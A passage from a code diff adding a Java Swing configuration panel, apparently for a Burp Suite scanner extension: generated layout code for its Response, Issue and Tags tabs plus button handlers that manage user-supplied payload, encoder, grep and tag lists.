javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel31) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel30) + .addGap(25, 25, 25) + .addComponent(check4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(check1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(excludehttp) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(onlyhttp) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(check71) + .addComponent(text71, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(negativeCT)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(check72) + .addComponent(text72, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(negativeRC)) + .addGap(18, 18, 18) + .addComponent(jSeparator5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel29) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel28) + .addGap(25, 25, 25) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(rb1) + .addComponent(jLabel6)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(rb2) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(rb3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(rb4) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel2) + .addComponent(sp1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + JScrollPane responseresScroll = new JScrollPane(jPanel11, + JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); + + jScrollPane6.setViewportView(jPanel11); + + headerstab.addTab(" Response ", jScrollPane6); + + jScrollPane10.getVerticalScrollBar().setUnitIncrement(20); + + jPanel12.setAutoscrolls(true); + + jLabel32.setText("You can define the issue properties."); + + jLabel33.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel33.setForeground(new java.awt.Color(255, 102, 51)); + jLabel33.setText("Issue Properties"); + + jLabel3.setText("Issue Name:"); + + jLabel4.setText("Severity:"); + + buttonGroup5.add(radio5); + radio5.setText("High"); + + buttonGroup5.add(radio6); + radio6.setText("Medium"); + + buttonGroup5.add(radio7); + radio7.setText("Low"); + + buttonGroup5.add(radio8); + radio8.setText("Information"); + + jLabel7.setText("Confidence:"); + + buttonGroup6.add(radio9); + radio9.setText("Certain"); + + buttonGroup6.add(radio10); + radio10.setText("Firm"); + + buttonGroup6.add(radio11); + radio11.setText("Tentative"); + + jLabel34.setText("You can define the issue details."); + + jLabel35.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel35.setForeground(new java.awt.Color(255, 102, 51)); + jLabel35.setText("Issue Detail"); + + textarea2.setColumns(20); + textarea2.setRows(5); + jScrollPane7.setViewportView(textarea2); + + jLabel13.setText("Description:"); + + jLabel36.setText("You can define the issue background."); + + jLabel37.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel37.setForeground(new java.awt.Color(255, 102, 51)); + jLabel37.setText("Issue Background"); + + jLabel38.setText("You can define the remediation detail."); + + jLabel39.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel39.setForeground(new java.awt.Color(255, 102, 51)); + jLabel39.setText("Remediation Detail"); + + textarea1.setColumns(20); + textarea1.setRows(5); + jScrollPane1.setViewportView(textarea1); + + jLabel9.setText("Description:"); + + textarea3.setColumns(20); + textarea3.setRows(5); + jScrollPane8.setViewportView(textarea3); + + jLabel14.setText("Description:"); + + jLabel40.setText("You can define the remediation background."); + + jLabel41.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel41.setForeground(new java.awt.Color(255, 102, 51)); + jLabel41.setText("Remediation Background"); + + textarea4.setColumns(20); + textarea4.setRows(5); + jScrollPane9.setViewportView(textarea4); + + jLabel15.setText("Description:"); + + javax.swing.GroupLayout jPanel12Layout = new javax.swing.GroupLayout(jPanel12); + jPanel12.setLayout(jPanel12Layout); + jPanel12Layout.setHorizontalGroup( + jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jSeparator7) + .addComponent(jSeparator8, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jSeparator9, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jSeparator10, javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel33) + .addComponent(jLabel35) + .addComponent(jLabel34) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel13) + .addGap(18, 18, 18) + .addComponent(jScrollPane7, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel9) + .addGap(18, 18, 18) + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel15) + .addGap(18, 18, 18) + .addComponent(jScrollPane9, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel14) + .addGap(18, 18, 18) + .addComponent(jScrollPane8, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(jLabel37) + .addComponent(jLabel36) + .addComponent(jLabel39) + .addComponent(jLabel38) + .addComponent(jLabel32) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 73, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(radio8) + .addGap(189, 189, 189)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio6) + .addComponent(radio7) + .addComponent(radio5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jLabel7) + .addGap(18, 18, 18) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio9) + .addComponent(radio11) + .addComponent(radio10))))) + .addComponent(text4, javax.swing.GroupLayout.PREFERRED_SIZE, 419, javax.swing.GroupLayout.PREFERRED_SIZE))))) + .addComponent(jLabel41) + .addComponent(jLabel40)) + .addContainerGap(93, Short.MAX_VALUE)) + ); + jPanel12Layout.setVerticalGroup( + jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel33) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel32) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel3) + .addComponent(text4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel7) + .addComponent(radio9)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio10) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio11)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel4) + .addComponent(radio5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio6) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio8))) + .addGap(18, 18, 18) + .addComponent(jSeparator7, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel35) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel34) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel9) + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator8, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel37) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel36) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel13) + .addComponent(jScrollPane7, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator9, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel39) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel38) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel15) + .addComponent(jScrollPane9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator10, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel41) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel40) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel14) + .addComponent(jScrollPane8, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + jScrollPane10.setViewportView(jPanel12); + + headerstab.addTab(" Issue ", jScrollPane10); + + removetag.setText("Remove"); + removetag.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + removetag(evt); + } + }); + + addTag.setText("Add"); + addTag.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addTag(evt); + } + }); + + listtag.setModel(tag); + jScrollPane11.setViewportView(listtag); + + jLabel46.setText("You can define one or multiple tags for this profile."); + + jLabel47.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel47.setForeground(new java.awt.Color(255, 102, 51)); + jLabel47.setText("Set Tags"); + + newTagb.setText("New Tag"); + newTagb.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + newTagbnewTag(evt); + } + }); + + javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3); + jPanel3.setLayout(jPanel3Layout); + jPanel3Layout.setHorizontalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel47) + .addComponent(jLabel46) + .addGroup(jPanel3Layout.createSequentialGroup() + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(newTagb, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(addTag, javax.swing.GroupLayout.PREFERRED_SIZE, 93, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(removetag, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGap(18, 18, 18) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jScrollPane11) + .addComponent(newTagCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 468, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel3Layout.setVerticalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel47) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel46) + .addGap(25, 25, 25) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane11, javax.swing.GroupLayout.PREFERRED_SIZE, 99, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel3Layout.createSequentialGroup() + .addComponent(newTagb) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(removetag))) + .addGap(18, 18, 18) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(newTagCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(addTag)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + headerstab.addTab(" Tags ", jPanel3); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel12) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(text1) + .addGap(18, 18, 18) + .addComponent(jLabel18) + .addGap(18, 18, 18) + .addComponent(textauthor, javax.swing.GroupLayout.PREFERRED_SIZE, 228, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + .addComponent(headerstab, javax.swing.GroupLayout.DEFAULT_SIZE, 831, Short.MAX_VALUE) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(text1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel12) + .addComponent(textauthor, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel18)) + .addGap(18, 18, 18) + .addComponent(headerstab, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + ); + }// //GEN-END:initComponents + + private void jButton9removeEncoder(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton9removeEncoder + int selectedIndex = list3.getSelectedIndex(); + if (selectedIndex != -1) { + encoder.remove(selectedIndex); + } + }//GEN-LAST:event_jButton9removeEncoder + + private void button6setToPayload(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button6setToPayload + if (!textfield1.getText().isEmpty()) { + payload.addElement(textfield1.getText()); + textfield1.setText(""); + } + }//GEN-LAST:event_button6setToPayload + + private void jButton8upEncoder(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton8upEncoder + int selectedIndex = list3.getSelectedIndex(); + if (selectedIndex != 0) { + swap(selectedIndex, selectedIndex - 1); + list3.setSelectedIndex(selectedIndex - 1); + list3.ensureIndexIsVisible(selectedIndex - 1); + + } + }//GEN-LAST:event_jButton8upEncoder + + private void button3loadPayloads(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button3loadPayloads + loadPayloadsFile(payload); + }//GEN-LAST:event_button3loadPayloads + + private void button2pastePayload(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button2pastePayload + + String element = getClipboardContents(); + String[] lines = element.split("\n"); + for (String line : lines) { + payload.addElement(line); + } + }//GEN-LAST:event_button2pastePayload + + private void jLabel17goWeb(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jLabel17goWeb + try { + Desktop.getDesktop().browse(new URI("https://portswigger.net/burp/extender/api/burp/IScannerInsertionPoint.html")); + } catch (URISyntaxException | IOException e) { + callbacks.printError("Active profile line 2109 Help web not opened: " + e); + } + }//GEN-LAST:event_jLabel17goWeb + + private void button4removePayload(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button4removePayload + int selectedIndex = list1.getSelectedIndex(); + if (selectedIndex != -1) { + payload.remove(selectedIndex); + } + }//GEN-LAST:event_button4removePayload + + private void button18removeMatchReplace(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button18removeMatchReplace + int[] rows = table4.getSelectedRows(); + Arrays.sort(rows); + for (int i = rows.length - 1; i >= 0; i--) { + int row = rows[i]; + int modelRow = table4.convertRowIndexToModel(row); + model4.removeRow(modelRow); + } + }//GEN-LAST:event_button18removeMatchReplace + + private void addMatchReplace(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addMatchReplace + model4.addRow(new Object[]{"Payload", "Leave blank to add a new header", "Leave blank to remove a matched header", "String"}); + }//GEN-LAST:event_addMatchReplace + + private void jButton6addEncoder(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton6addEncoder + if (!encoder.isEmpty() && encoder.firstElement().equals(" ")) { + encoder.removeElementAt(0); + encoder.addElement(combo2.getSelectedItem().toString()); + } else { + encoder.addElement(combo2.getSelectedItem().toString()); + } + }//GEN-LAST:event_jButton6addEncoder + + private void button5removeAllPayloads(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button5removeAllPayloads + payload.removeAllElements(); + }//GEN-LAST:event_button5removeAllPayloads + + private void AllItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_AllItemStateChanged + if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + extensionprovided.setSelected(true); + header.setSelected(true); + entirebody.setSelected(true); + paramamf.setSelected(true); + parambody.setSelected(true); + paramcookie.setSelected(true); + paramjson.setSelected(true); + urlpathfolder.setSelected(true); + parammultipartattr.setSelected(true); + paramnamebody.setSelected(true); + paramnameurl.setSelected(true); + userprovided.setSelected(true); + paramurl.setSelected(true); + paramxml.setSelected(true); + paramxmlattr.setSelected(true); + urlpathfilename.setSelected(true); + unknown.setSelected(true); + } else { + extensionprovided.setSelected(false); + header.setSelected(false); + entirebody.setSelected(false); + paramamf.setSelected(false); + parambody.setSelected(false); + paramcookie.setSelected(false); + paramjson.setSelected(false); + urlpathfolder.setSelected(false); + parammultipartattr.setSelected(false); + paramnamebody.setSelected(false); + paramnameurl.setSelected(false); + userprovided.setSelected(false); + paramurl.setSelected(false); + paramxml.setSelected(false); + paramxmlattr.setSelected(false); + urlpathfilename.setSelected(false); + unknown.setSelected(false); + } + }//GEN-LAST:event_AllItemStateChanged + + private void jButton7downEncoder(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton7downEncoder + int selectedIndex = list3.getSelectedIndex(); + if (selectedIndex != encoder.getSize() - 1) { + swap(selectedIndex, selectedIndex + 1); + list3.setSelectedIndex(selectedIndex + 1); + list3.ensureIndexIsVisible(selectedIndex + 1); + + } + }//GEN-LAST:event_jButton7downEncoder + + private void radio12payloadMatchType(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radio12payloadMatchType + if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + setEnabledVariations(false); + } + }//GEN-LAST:event_radio12payloadMatchType + + private void radio4stringMatchType(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radio4stringMatchType + if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + setEnabledVariations(false); + } + }//GEN-LAST:event_radio4stringMatchType + + private void radio3regexMatchType(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radio3regexMatchType + if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + setEnabledVariations(false); + } + }//GEN-LAST:event_radio3regexMatchType + + private void radio22payloadencodeMatchType(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radio22payloadencodeMatchType + if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + setEnabledVariations(false); + } + }//GEN-LAST:event_radio22payloadencodeMatchType + + private void radiotimeTimeoutSelect(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radiotimeTimeoutSelect + if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + setEnabledVariations(false); + } else if (evt.getStateChange() == java.awt.event.ItemEvent.DESELECTED) { + setEnabledVariations(true); + } + }//GEN-LAST:event_radiotimeTimeoutSelect + + private void radioclSelect(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radioclSelect + if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + setEnabledVariations(false); + } else if (evt.getStateChange() == java.awt.event.ItemEvent.DESELECTED) { + setEnabledVariations(true); + } + }//GEN-LAST:event_radioclSelect + + private void radioclActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_radioclActionPerformed + // TODO add your handling code here: + }//GEN-LAST:event_radioclActionPerformed + + private void variationsRadiovariations(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_variationsRadiovariations + if (evt.getStateChange() == java.awt.event.ItemEvent.DESELECTED) { + setEnabledVariations(false); + } else if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + setEnabledVariations(true); + } + }//GEN-LAST:event_variationsRadiovariations + + private void invariationsRadioinvariations(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_invariationsRadioinvariations + if (evt.getStateChange() == java.awt.event.ItemEvent.DESELECTED) { + setEnabledVariations(false); + } else if (evt.getStateChange() == java.awt.event.ItemEvent.SELECTED) { + setEnabledVariations(true); + } + }//GEN-LAST:event_invariationsRadioinvariations + + private void removetag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removetag + int selectedIndex = listtag.getSelectedIndex(); + if (selectedIndex != -1) { + tag.remove(selectedIndex); + } + }//GEN-LAST:event_removetag + + private void addTag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addTag + tag.addElement(newTagCombo.getSelectedItem()); + }//GEN-LAST:event_addTag + + private void newTagbnewTag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_newTagbnewTag + Integer result; + NewTag nt = new NewTag(); + JOptionPane jopane1 = new JOptionPane(nt, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + JDialog dialog = jopane1.createDialog(this, "New Tag"); + dialog.setLocationRelativeTo(null); + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + addNewTag(nt.newTagtext.getText()); + showTags(); + } + } + }//GEN-LAST:event_newTagbnewTag + + private void headerstabStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_headerstabStateChanged + int activePane = headerstab.getSelectedIndex(); + if (activePane == 3) { + showTags(); + } + }//GEN-LAST:event_headerstabStateChanged + + private void button20removeMatchReplace(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button20removeMatchReplace + int[] rows = table5.getSelectedRows(); + Arrays.sort(rows); + for (int i = rows.length - 1; i >= 0; i--) { + int row = rows[i]; + int modelRow = table5.convertRowIndexToModel(row); + modelgrep.removeRow(modelRow); + } + }//GEN-LAST:event_button20removeMatchReplace + + private void button10removeAllGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button10removeAllGrep + int rowCount = modelgrep.getRowCount(); + for (int i = rowCount - 1; i >= 0; i--) { + modelgrep.removeRow(i); + } + }//GEN-LAST:event_button10removeAllGrep + + private void button7pasteGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button7pasteGrep + String element = getClipboardContents(); + List lines = Arrays.asList(element.split("\n")); + showGreps(lines); + }//GEN-LAST:event_button7pasteGrep + + private void button21addGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button21addGrep + modelgrep.addRow(new Object[]{true, "Or", "Value"}); + }//GEN-LAST:event_button21addGrep + + private void button8loadGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button8loadGrep + loadGrepsFile(modelgrep); + }//GEN-LAST:event_button8loadGrep + + + // Variables declaration - do not modify//GEN-BEGIN:variables + public javax.swing.JCheckBox All; + private javax.swing.JPanel Attributes; + private javax.swing.JButton addTag; + public javax.swing.JCheckBox anchor_labels; + public javax.swing.JRadioButton append; + private javax.swing.JButton button10; + private javax.swing.JButton button18; + private javax.swing.JButton button19; + public javax.swing.JButton button2; + private javax.swing.JButton button20; + private javax.swing.JButton button21; + public javax.swing.JButton button3; + public javax.swing.JButton button4; + public javax.swing.JButton button5; + public javax.swing.JButton button6; + private javax.swing.JButton button7; + private javax.swing.JButton button8; + private javax.swing.ButtonGroup buttonGroup1; + private javax.swing.ButtonGroup buttonGroup2; + private javax.swing.ButtonGroup buttonGroup3; + private javax.swing.ButtonGroup buttonGroup4; + private javax.swing.ButtonGroup buttonGroup5; + private javax.swing.ButtonGroup buttonGroup6; + public javax.swing.JCheckBox button_submit_labels; + public javax.swing.JCheckBox canonical_link; + public javax.swing.JCheckBox check1; + public javax.swing.JCheckBox check4; + public javax.swing.JCheckBox check71; + public javax.swing.JCheckBox check72; + public javax.swing.JCheckBox check8; + public javax.swing.JComboBox combo2; + public javax.swing.JCheckBox comments; + public javax.swing.JCheckBox content_length; + public javax.swing.JCheckBox content_location; + public javax.swing.JCheckBox content_type; + public javax.swing.JCheckBox css_classes; + public javax.swing.JCheckBox div_ids; + public javax.swing.JCheckBox entirebody; + public javax.swing.JCheckBox etag_header; + public javax.swing.JCheckBox excludehttp; + public javax.swing.JCheckBox extensionprovided; + public javax.swing.JCheckBox first_header_tag; + public javax.swing.JCheckBox header; + public javax.swing.JCheckBox header_tags; + public javax.swing.JTabbedPane headerstab; + public javax.swing.JCheckBox initial_body_content; + public javax.swing.JCheckBox input_image_labels; + public javax.swing.JCheckBox input_submit_labels; + public javax.swing.JRadioButton invariationsRadio; + private javax.swing.JButton jButton6; + private javax.swing.JButton jButton7; + private 